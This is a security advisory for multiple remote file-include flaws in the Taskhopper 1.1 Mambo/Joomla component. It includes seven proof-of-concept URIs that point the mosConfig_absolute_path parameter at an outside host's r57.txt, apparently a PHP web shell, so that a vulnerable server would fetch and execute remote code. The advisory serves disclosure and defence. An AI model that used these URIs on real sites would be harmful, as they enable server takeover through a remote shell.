Mambo/Joomla Taskhopper MosConfig_Absolute_Path Multiple Remote File Include Vulnerabilities

BID:23408

Info

Mambo/Joomla Taskhopper MosConfig_Absolute_Path Multiple Remote File Include Vulnerabilities

Bugtraq ID: 23408
Class: Input Validation Error
CVE:
Remote: Yes
Local: No
Published: Apr 11 2007 12:00AM
Updated: Apr 11 2007 10:52PM
Credit: Cold z3ro is credited with the discovery of these vulnerabilities.
Vulnerable: Taskhopper Taskhopper 1.1
Not Vulnerable:

Discussion

Mambo/Joomla Taskhopper MosConfig_Absolute_Path Multiple Remote File Include Vulnerabilities

Taskhopper is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.

Exploiting these issues may allow an attacker to compromise the application and the underlying system; other attacks are also possible.

These issues affect Taskhopper 1.1; other versions may also be vulnerable.

Exploit / POC

Mambo/Joomla Taskhopper MosConfig_Absolute_Path Multiple Remote File Include Vulnerabilities

Attackers can use a browser to exploit these issues.

The following proof-of-concept URIs are available:

http://www.example.com/contact_type.php?mosConfig_absolute_path=http://nachrichtenmann.de/r57.txt?
http://www.example.com/itemstatus_type.php?mosConfig_absolute_path=http://nachrichtenmann.de/r57.txt?
http://www.example.com/projectstatus_type.php?mosConfig_absolute_path=http://nachrichtenmann.de/r57.txt?
http://www.example.com/request_type.php?mosConfig_absolute_path=http://nachrichtenmann.de/r57.txt?
http://www.example.com/responses_type.php?mosConfig_absolute_path=http://nachrichtenmann.de/r57.txt?
http://www.example.com/timelog_type.php?mosConfig_absolute_path=http://nachrichtenmann.de/r57.txt?
http://www.example.com/urgency_type.php?mosConfig_absolute_path=http://nachrichtenmann.de/r57.txt?

Solution / Fix

Mambo/Joomla Taskhopper MosConfig_Absolute_Path Multiple Remote File Include Vulnerabilities

Solution:
Currently we are not aware of any vendor-supplied patches for these issues. If you feel we are in error or if you are aware of more recent information, please mail us at: mailto:[email protected].

References

Mambo/Joomla Taskhopper MosConfig_Absolute_Path Multiple Remote File Include Vulnerabilities

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